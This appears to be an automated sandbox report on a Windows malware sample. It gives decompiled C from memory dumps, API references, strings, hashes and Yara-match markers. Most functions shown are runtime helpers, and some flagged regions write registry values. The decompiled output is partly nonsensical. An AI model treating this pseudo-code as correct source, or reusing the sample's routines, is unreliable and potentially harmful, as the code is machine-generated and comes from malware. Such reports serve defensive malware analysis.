0x003ad6d9
0x003ad6dc
0x003ad6df
0x003ad6e1
0x003ad6e5
0x003ad6e6
0x003ad6eb
0x003ad6ee
0x003ad6f1
0x003ad6f3
0x003ad701
0x003ad706
0x003ad706
0x003ad70f
0x003ad712
0x003ad71d
0x003ad725
0x003ad728
0x003ad739
0x003ad740
0x003ad745
0x003ad747
0x003ad750
0x003ad765
0x003ad76d
0x003ad777
0x003ad77f
0x003ad78d
0x003ad79c
0x003ad79c
0x003ad765
0x003ad7a3
0x003ad7a6
0x003ad7a9
0x003ad7b1
0x003ad7c3

APIs

WinHelpA.USER32 ref: 003AD79C

Strings

^:, xrefs: 003AD6FC
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")"), xrefs: 003AD734

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Help
String ID: IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")$^:
API String ID: 2830496658-1815174020
Opcode ID: d39ca75bc27198a898e879da5ecf84cf01f6d31d75542784165171712e22aa5d
Instruction ID: 0ca84a9e6ddfbb488d9dabbd03fadf9fa3f39d26baec03c76490578268e95467
Opcode Fuzzy Hash: d39ca75bc27198a898e879da5ecf84cf01f6d31d75542784165171712e22aa5d
Instruction Fuzzy Hash: 96315374A042099FDB06FFA4C881A9EB7B5EF49704F5044B5F801AB792DB759E04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003A4C7B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E003A4C7B(signed int __eax, signed int __ebx, void* __edx, void* __edi, void* __esi) {
				signed int* _t13;
				signed int* _t15;
				void* _t22;
				void* _t28;
				void* _t29;
				void* _t30;
				signed int* _t31;
				void* _t41;

				_t22 = __edx;
				asm("outsd");
				asm("adc dword [ebx-0x7d], 0x56");
				 *(__edx - 0x7d) =  *(__edx - 0x7d) & 0x0000004e;
				asm("ror byte [edx+edi], 1");
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				asm("ror byte [edx+edi], 1");
				 *__eax =  *__eax & __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__ebx + __esi)) =  *((intOrPtr*)(__ebx + __esi)) + __edx;
				_t13 = _t31;
				 *_t13 =  *_t13 ^ __ebx;
				_t13[0x6000e0c] = _t13[0x6000e0c] + __edx;
				_t29 = _t28 - 1;
				_t41 = _t13 -  *_t13;
				asm("andps xmm2, [eax+0x61]");
				if(_t41 == 0) {
					L9:
					asm("adc al, 0xfe");
				} else {
					if(_t41 < 0) {
						_push(_t13);
						L0038618C();
						goto L9;
					} else {
						_t30 = _t29 - 1;
						asm("popad");
						asm("outsb");
						asm("popad");
						asm("a16 jb 0x57");
						_push(__ebx);
						_push(__esi);
						if(__edx != 0) {
							_t13 = E00383408(_t13, _t30);
						}
						_t8 =  &(_t13[2]); // 0x8
						L003862B4();
						_t15 = _t13;
						if(_t22 != 0) {
							E00383460(_t15);
							_pop( *[fs:0x0]);
						}
						return;
					}
				}
			}

0x003a4c7b
0x003a4c7b
0x003a4c7c
0x003a4c80
0x003a4c84
0x003a4c88
0x003a4c8a
0x003a4c8c
0x003a4c8e
0x003a4c90
0x003a4c92
0x003a4c94
0x003a4c96
0x003a4c98
0x003a4c9a
0x003a4c9c
0x003a4c9e
0x003a4ca0
0x003a4ca2
0x003a4ca4
0x003a4ca8
0x003a4caa
0x003a4cbf
0x003a4cc4
0x003a4cc5
0x003a4cc7
0x003a4ccd
0x003a4cce
0x003a4cd0
0x003a4cd4
0x003a4d4a
0x003a4d4a
0x003a4cd6
0x003a4cd6
0x003a4d47
0x003a4d48
0x00000000
0x003a4cd9
0x003a4cd9
0x003a4cda
0x003a4cdb
0x003a4cdc
0x003a4cdd
0x003a4ce0
0x003a4ce1
0x003a4ce4
0x003a4ce9
0x003a4ce9
0x003a4cf2
0x003a4cf6
0x003a4cfb
0x003a4cff
0x003a4d01
0x003a4d06
0x003a4d0d
0x003a4d14
0x003a4d14
0x003a4cd6

APIs

RtlInitializeCriticalSection.KERNEL32(-0000001A), ref: 003A4CF6
RtlEnterCriticalSection.KERNEL32(?,003A4D74), ref: 003A4D48

Strings

V, xrefs: 003A4C7C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterInitialize
String ID: V
API String ID: 2028075725-1342839628
Opcode ID: bf6a16f7de392bf22d18cd9c3870985f6b5a8845f249f2d2d2d7de3e81badbe5
Instruction ID: 66a90cfe425be74cdb3ec8488c1ca2e3e28b2b3341047101ab2e40f04784ff67
Opcode Fuzzy Hash: bf6a16f7de392bf22d18cd9c3870985f6b5a8845f249f2d2d2d7de3e81badbe5
Instruction Fuzzy Hash: 91112562A0FBD02FCB1367BC4865184BF60EE4356130E86EBE4D1CF263D7555886D3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00389B98, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00389B98(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				char _v280;
				char* _t32;
				intOrPtr* _t49;
				intOrPtr _t58;
				void* _t63;
				void* _t67;

				_v8 = 0;
				_t49 = __edx;
				_t63 = __eax;
				_push(_t67);
				_push(0x389c76);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffeec;
				E00383EBC(__edx);
				_v24 =  *((intOrPtr*)(_a4 - 0xe));
				_v22 =  *((intOrPtr*)(_a4 - 0x10));
				_v18 =  *((intOrPtr*)(_a4 - 0x12));
				if(_t63 > 2) {
					E00383F54( &_v8, 0x389c98);
				} else {
					E00383F54( &_v8, 0x389c8c);
				}
				_t32 = E0038437C(_v8);
				if(GetDateFormatA(GetThreadLocale(), 4,  &_v24, _t32,  &_v280, 0x100) != 0) {
					E0038412C(_t49, 0x100,  &_v280);
					if(_t63 == 1 &&  *((char*)( *_t49)) == 0x30) {
						E003843DC( *_t49, E0038417C( *_t49) - 1, 2, _t49);
					}
				}
				_pop(_t58);
				 *[fs:eax] = _t58;
				_push(E00389C7D);
				return E00383EBC( &_v8);
			}

0x00389ba5
0x00389ba8
0x00389baa
0x00389bae
0x00389baf
0x00389bb4
0x00389bb7
0x00389bbc
0x00389bc8
0x00389bd3
0x00389bde
0x00389be5
0x00389bfe
0x00389be7
0x00389bef
0x00389bef
0x00389c12
0x00389c2b
0x00389c3a
0x00389c40
0x00389c5b
0x00389c5b
0x00389c40
0x00389c62
0x00389c65
0x00389c68
0x00389c75

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00389C76), ref: 00389C1E
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100), ref: 00389C24

Strings

yyyy, xrefs: 00389BF9

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 77055a8f9649445a3c76cbaff5735c6a458bb14aba718789faa6455289b3ab7b
Instruction ID: f9c535466ea704092011e5d5602fe8f1de8d5d1c4bf8f90bb62de83a87831be9
Opcode Fuzzy Hash: 77055a8f9649445a3c76cbaff5735c6a458bb14aba718789faa6455289b3ab7b
Instruction Fuzzy Hash: AE2132796043089BDB13FBA8C982AAE73F8EF48700F5540E6F905EB751D6709E44C765

Uniqueness

Uniqueness Score: -1.00%

Function 00382608, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00382608(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr _t36;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t45;
				intOrPtr _t47;

				_t45 = _t47;
				_t42 = __edx;
				_t25 = __eax;
				if( *0x3db5c4 != 0 || E00381A0C() != 0) {
					_push(_t45);
					_push(E003826B9);
					_push( *[fs:edx]);
					 *[fs:edx] = _t47;
					if( *0x3db04d != 0) {
						_push("�\%");
						L00381368();
					}
					if(E0038242C(_t25, _t42) == 0) {
						_t39 = E003820F8(_t42);
						_t15 = ( *(_t25 - 4) & 0x7ffffffc) - 4;
						if(_t42 < ( *(_t25 - 4) & 0x7ffffffc) - 4) {
							_t15 = _t42;
						}
						if(_t39 != 0) {
							E003828C8(_t25, _t15, _t39);
							E00382288(_t25);
						}
						_v8 = _t39;
					} else {
						_v8 = _t25;
					}
					_pop(_t36);
					 *[fs:eax] = _t36;
					_push(E003826C0);
					if( *0x3db04d != 0) {
						_push("�\%");
						L00381370();
						return 0;
					}
					return 0;
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00382609
0x0038260f
0x00382611
0x0038261a
0x00382631
0x00382632
0x00382637
0x0038263a
0x00382644
0x00382646
0x0038264b
0x0038264b
0x0038265b
0x00382669
0x00382677
0x0038267c
0x0038267e
0x0038267e
0x00382682
0x00382689
0x00382690
0x00382690
0x00382695
0x0038265d
0x0038265d
0x0038265d
0x0038269a
0x0038269d
0x003826a0
0x003826ac
0x003826ae
0x003826b3
0x00000000
0x003826b3
0x003826b8
0x00382625
0x00382627
0x003826c8
0x003826c8

APIs

RtlEnterCriticalSection.KERNEL32(\%,00000000,003826B9), ref: 0038264B
RtlLeaveCriticalSection.KERNEL32(\%,003826C0), ref: 003826B3

Part of subcall function 00381A0C: RtlInitializeCriticalSection.KERNEL32(\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A22
Part of subcall function 00381A0C: RtlEnterCriticalSection.KERNEL32(\%,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A35
Part of subcall function 00381A0C: LocalAlloc.KERNEL32(00000000,00000FF8,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A5F
Part of subcall function 00381A0C: RtlLeaveCriticalSection.KERNEL32(\%,00381AC9,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381ABC

Strings

\%, xrefs: 00382646, 003826AE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: \%
API String ID: 2227675388-3107672707
Opcode ID: bc0ad67bfc474c01639c88ea304874affc350f3ef2d71e07ba5608bae8ca515e
Instruction ID: 2808c12e35ee2c309418a0b943bef7d6c6c29cc2f62106d45052297419bf7fc1
Opcode Fuzzy Hash: bc0ad67bfc474c01639c88ea304874affc350f3ef2d71e07ba5608bae8ca515e
Instruction Fuzzy Hash: 1C112331705700DFEB13BF79A90166BA7C9DB86750F1204FAF400DB291EAF49C0583A0

Uniqueness

Uniqueness Score: -1.00%

Function 023470BF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000,00000000,00000000,?,0234EAB3,?,00000000,00000000,00000000,00000006,00000000), ref: 023470DD
wsprintfA.USER32 ref: 023470FB

Strings

%02u:%02u:%02u , xrefs: 023470F5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: SystemTimewsprintf
String ID: %02u:%02u:%02u
API String ID: 425189169-982595855
Opcode ID: 280d26a3c6cfee2a71898551b7486c5d2630e84ce61eed48507f76fefedd2352
Instruction ID: f6fcd9cdc2d11a70b6d9e7eadeb2a662ae100bbdd889d41b416eaf868a4cff0d
Opcode Fuzzy Hash: 280d26a3c6cfee2a71898551b7486c5d2630e84ce61eed48507f76fefedd2352
Instruction Fuzzy Hash: 1A214AB5A40204BFDB10DF95D84DDABB7BDFB88B08F408895FA01DB241DA75AA11CB71

Uniqueness

Uniqueness Score: -1.00%

Function 003C8A8C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003C8A8C(void* __eflags, intOrPtr _a4) {
				char _v5;
				struct tagRECT _v21;
				struct tagRECT _v40;
				void* _t40;
				void* _t45;

				_v5 = 1;
				_t44 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30)) + 0x198));
				_t45 = E00396F90( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30)) + 0x198)),  *((intOrPtr*)(_a4 - 4)));
				if(_t45 <= 0) {
					L5:
					_v5 = 0;
				} else {
					do {
						_t45 = _t45 - 1;
						_t40 = E00396F34(_t44, _t45);
						if( *((char*)(_t40 + 0x57)) == 0 || ( *(_t40 + 0x50) & 0x00000040) == 0) {
							goto L4;
						} else {
							E003C8070(_t40,  &_v40);
							IntersectRect( &_v21, _a4 + 0xffffffec,  &_v40);
							if(EqualRect( &_v21, _a4 + 0xffffffec) == 0) {
								goto L4;
							}
						}
						goto L6;
						L4:
					} while (_t45 > 0);
					goto L5;
				}
				L6:
				return _v5;
			}

0x003c8a95
0x003c8aa2
0x003c8ab5
0x003c8ab9
0x003c8b09
0x003c8b09
0x003c8abb
0x003c8abb
0x003c8abb
0x003c8ac5
0x003c8acb
0x00000000
0x003c8ad3
0x003c8ad8
0x003c8aec
0x003c8b03
0x00000000
0x00000000
0x003c8b03
0x00000000
0x003c8b05
0x003c8b05
0x00000000
0x003c8abb
0x003c8b0d
0x003c8b16

APIs

IntersectRect.USER32(?,?,?), ref: 003C8AEC
EqualRect.USER32 ref: 003C8AFC

Strings

@, xrefs: 003C8ACD

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$EqualIntersect
String ID: @
API String ID: 3291753422-2766056989
Opcode ID: db18ce854e5f30ddf4293eead459c1bc3b9c65af8581f577b79256ce1420ac6c
Instruction ID: 85a7774e61ecfdf437a10d27f6d674cc45af25177b97e79e04d45aba22555514
Opcode Fuzzy Hash: db18ce854e5f30ddf4293eead459c1bc3b9c65af8581f577b79256ce1420ac6c
Instruction Fuzzy Hash: B5114875A086486BCB12EB6CC885F9E7BE8AF49354F054295FD04EB382DB71EE05C790

Uniqueness

Uniqueness Score: -1.00%

Function 003A86B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
timeCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E003A86B0(void* __eax, void* __ebx, void* __ecx, void* __esi) {
				char _v8;
				intOrPtr _t18;
				void* _t23;
				intOrPtr _t28;
				int _t32;
				intOrPtr _t35;

				_push(0);
				_t23 = __eax;
				_push(_t35);
				_push(0x3a872f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t35;
				KillTimer( *(__eax + 0x34), 1);
				_t32 =  *(_t23 + 0x30);
				if(_t32 != 0 &&  *((char*)(_t23 + 0x40)) != 0 &&  *((short*)(_t23 + 0x3a)) != 0 && SetTimer( *(_t23 + 0x34), 1, _t32, 0) == 0) {
					_t18 =  *0x3da204; // 0x39dce8
					E00385C40(_t18,  &_v8);
					E0038B5C4(_v8, 1);
					E00383870();
				}
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(0x3a8736);
				return E00383EBC( &_v8);
			}

0x003a86b3
0x003a86b7
0x003a86bb
0x003a86bc
0x003a86c1
0x003a86c4
0x003a86cd
0x003a86d2
0x003a86d7
0x003a86fb
0x003a8700
0x003a870f
0x003a8714
0x003a8714
0x003a871b
0x003a871e
0x003a8721
0x003a872e

APIs

KillTimer.USER32 ref: 003A86CD
SetTimer.USER32(?,00000001,?,00000000), ref: 003A86EF

Part of subcall function 00385C40: LoadStringA.USER32 ref: 00385C71

Strings

\K9, xrefs: 003A870A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Timer$KillLoadString
String ID: \K9
API String ID: 1423459280-3597602816
Opcode ID: aa125b027883011fcc74f6bb01ac43d0a3ad4663df1c1cdf2832df6a00bc379f
Instruction ID: ae4c21e5a379a9b97adb9dddfc83d2e2f59274c000d7a21e009a1af178dff420
Opcode Fuzzy Hash: aa125b027883011fcc74f6bb01ac43d0a3ad4663df1c1cdf2832df6a00bc379f
Instruction Fuzzy Hash: 0A014431604300ABDB27FB54CD92F5577ACEB06B04F910495F9009F692DB76ED448751

Uniqueness

Uniqueness Score: -1.00%

Function 02350D3F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?), ref: 02350D83
StrToIntExA.SHLWAPI(00007830,00000001,00000001), ref: 02350D95

Strings

0x, xrefs: 02350D7D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memcpy
String ID: 0x
API String ID: 3510742995-3225541890
Opcode ID: 44c75353c5e27bd2b539b114a623d92dc8ff933cf7d297c9b5bfbc40176e10c6
Instruction ID: 13465ae704eb499dd98ae92ab5a7d69fd29fc2cff949316bae1cfa41164f9c54
Opcode Fuzzy Hash: 44c75353c5e27bd2b539b114a623d92dc8ff933cf7d297c9b5bfbc40176e10c6
Instruction Fuzzy Hash: 24017175900519BBDB01DFACC805AAEBBBDFF44744F008555ED08E7204EB75EA09CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003A5300, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E003A5300(intOrPtr* _a4, signed int _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t14;
				intOrPtr _t16;
				signed int _t17;
				void* _t18;
				void* _t19;

				_t17 = _a8;
				_t14 = _a4;
				if( *0x3db91e != 0) {
					_t19 = 0;
					if((_t17 & 0x00000003) != 0 ||  *((intOrPtr*)(_t14 + 8)) > 0 &&  *((intOrPtr*)(_t14 + 0xc)) > 0 && GetSystemMetrics(0) >  *_t14 && GetSystemMetrics(1) >  *((intOrPtr*)(_t14 + 4))) {
						_t19 = 0x12340042;
					}
				} else {
					_t16 =  *0x3db8fc; // 0x3a5300
					 *0x3db8fc = E003A5190(2, _t14, _t16, _t17, _t18);
					_t19 =  *0x3db8fc(_t14, _t17);
				}
				return _t19;
			}

0x003a5306
0x003a5309
0x003a5313
0x003a5338
0x003a5341
0x003a5368
0x003a5368
0x003a5315
0x003a531a
0x003a5327
0x003a5334
0x003a5334
0x003a5373

APIs

GetSystemMetrics.USER32 ref: 003A5351
GetSystemMetrics.USER32 ref: 003A535D

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

MonitorFromRect, xrefs: 003A5315

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem
String ID: MonitorFromRect
API String ID: 4116985748-4033241945
Opcode ID: b24bf4da9aaa5a0bc3ea1bfdc8a710e0cdd64f1843e9e50aa740b96acdbe4761
Instruction ID: a341768b06117d8fd34c69793d3b285d33a93ddd617ff6f74edf1f589934ce69
Opcode Fuzzy Hash: b24bf4da9aaa5a0bc3ea1bfdc8a710e0cdd64f1843e9e50aa740b96acdbe4761
Instruction Fuzzy Hash: F501D639202744DBDF528B05E885B16F79CE786790F4E8457E904CB582C7B4DC409FB0

Uniqueness

Uniqueness Score: -1.00%

Function 003A5278, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003A5278(int _a4) {
				void* __ebx;
				void* __ebp;
				signed int _t2;
				signed int _t3;
				int _t8;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t18;

				_t8 = _a4;
				if( *0x3db91c == 0) {
					 *0x3db8f4 = E003A5190(0, _t8,  *0x3db8f4, _t17, _t18);
					return GetSystemMetrics(_t8);
				}
				_t3 = _t2 | 0xffffffff;
				_t12 = _t8 + 0xffffffb4 - 2;
				__eflags = _t12;
				if(__eflags < 0) {
					_t3 = 0;
				} else {
					if(__eflags == 0) {
						_t8 = 0;
					} else {
						_t13 = _t12 - 1;
						__eflags = _t13;
						if(_t13 == 0) {
							_t8 = 1;
						} else {
							__eflags = _t13 - 0xffffffffffffffff;
							if(_t13 - 0xffffffffffffffff < 0) {
								_t3 = 1;
							}
						}
					}
				}
				__eflags = _t3 - 0xffffffff;
				if(_t3 != 0xffffffff) {
					return _t3;
				} else {
					return GetSystemMetrics(_t8);
				}
			}

0x003a527c
0x003a5286
0x003a529a
0x00000000
0x003a52a0
0x003a52a8
0x003a52b0
0x003a52b0
0x003a52b3
0x003a52c7
0x003a52b5
0x003a52b5
0x003a52cb
0x003a52b7
0x003a52b7
0x003a52b7
0x003a52b8
0x003a52cf
0x003a52ba
0x003a52bb
0x003a52be
0x003a52c0
0x003a52c0
0x003a52be
0x003a52b8
0x003a52b5
0x003a52d4
0x003a52d7
0x003a52e1
0x003a52d9
0x00000000
0x003a52da

APIs

GetSystemMetrics.USER32 ref: 003A52DA

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

GetSystemMetrics.USER32 ref: 003A52A0

Strings

GetSystemMetrics, xrefs: 003A5288

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem
String ID: GetSystemMetrics
API String ID: 4116985748-96882338
Opcode ID: c0fd644878f82dcb0fd64a2f797787f946b4eaa848579271e06d1f6c0ca0ef9c
Instruction ID: cebb13db24e6c22eaadba4939fc1ce98660f08d763fdd09287ddf8e3dba4adfc
Opcode Fuzzy Hash: c0fd644878f82dcb0fd64a2f797787f946b4eaa848579271e06d1f6c0ca0ef9c
Instruction Fuzzy Hash: 10F0E931119F419ACB135B79AC84726779DE797330FB54F22E2124E9D6C7798C40D394

Uniqueness

Uniqueness Score: -1.00%

Function 003A4C14, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E003A4C14() {
				int _t2;
				intOrPtr _t5;
				int _t8;
				signed int _t10;
				char _t11;

				_t2 =  *0x3db89c; // 0x60
				 *0x3d9438 =  ~(MulDiv(8, _t2, 0x48));
				_t5 =  *0x3da230; // 0x3db744
				if( *((char*)(_t5 + 0xc)) != 0) {
					_t11 = E003A4BD0();
					_t5 = _t11 - 0x80;
					if(_t5 == 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t8 =  *0x3db89c; // 0x60
						_t10 =  ~(MulDiv(9, _t8, 0x48));
						 *0x3d9438 = _t10;
						 *0x3d943e = _t11;
						return _t10;
					}
				}
				return _t5;
			}

0x003a4c19
0x003a4c28
0x003a4c2d
0x003a4c36
0x003a4c3d
0x003a4c41
0x003a4c43
0x003a4c4f
0x003a4c50
0x003a4c51
0x003a4c52
0x003a4c55
0x003a4c62
0x003a4c64
0x003a4c69
0x00000000
0x003a4c69
0x003a4c43
0x003a4c72

APIs

MulDiv.KERNEL32 ref: 003A4C21

Part of subcall function 003A4BD0: GetDC.USER32(00000000), ref: 003A4BD9
Part of subcall function 003A4BD0: SelectObject.GDI32(00000000,018A002E), ref: 003A4BEB
Part of subcall function 003A4BD0: GetTextMetricsA.GDI32(00000000), ref: 003A4BF6
Part of subcall function 003A4BD0: ReleaseDC.USER32(00000000,00000000), ref: 003A4C06

MulDiv.KERNEL32 ref: 003A4C5D

Strings

MS Sans Serif, xrefs: 003A4C4A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsObjectReleaseSelectText
String ID: MS Sans Serif
API String ID: 2013942131-1665085520
Opcode ID: b632f575a023a97eceba3964268c2cd1fbc9717595a85da2ffc2031df0b49b92
Instruction ID: 41e6872eb74fb674a45ac7e4294fe075b4562b01ed01c35e81af6aa7341db48c
Opcode Fuzzy Hash: b632f575a023a97eceba3964268c2cd1fbc9717595a85da2ffc2031df0b49b92
Instruction Fuzzy Hash: 6EF089A1B821546FD783DB6DBC81B56679DD78B760F854457F20CCF292C7964C058720

Uniqueness

Uniqueness Score: -1.00%

Function 0235270F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,00000001,?,Client,00000028,?,?,0234B733,Client,0236606C,00000028), ref: 02352741
RegCloseKey.ADVAPI32(?,?,?,0234B733,Client,0236606C,00000028,00000003,00000001,?), ref: 0235275A

Strings

Client, xrefs: 02352714

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseCreateValuelstrlen
String ID: Client
API String ID: 1356686001-3236430179
Opcode ID: b963431d5ad2942d5364631db4fac3ab510b473ad5747a9018560bef9c29f4ef
Instruction ID: 1bdcb411a70ad29614c62995f93b9cf9b94396175f3a7787a08e17d7b9f12880
Opcode Fuzzy Hash: b963431d5ad2942d5364631db4fac3ab510b473ad5747a9018560bef9c29f4ef
Instruction Fuzzy Hash: E4F0E772900119FBCF119E95DC09D9EBB7DEB043A1F008455FD05A6161D7729A20ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 0234822F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28registryCOMMON

Download Yara Rule

APIs

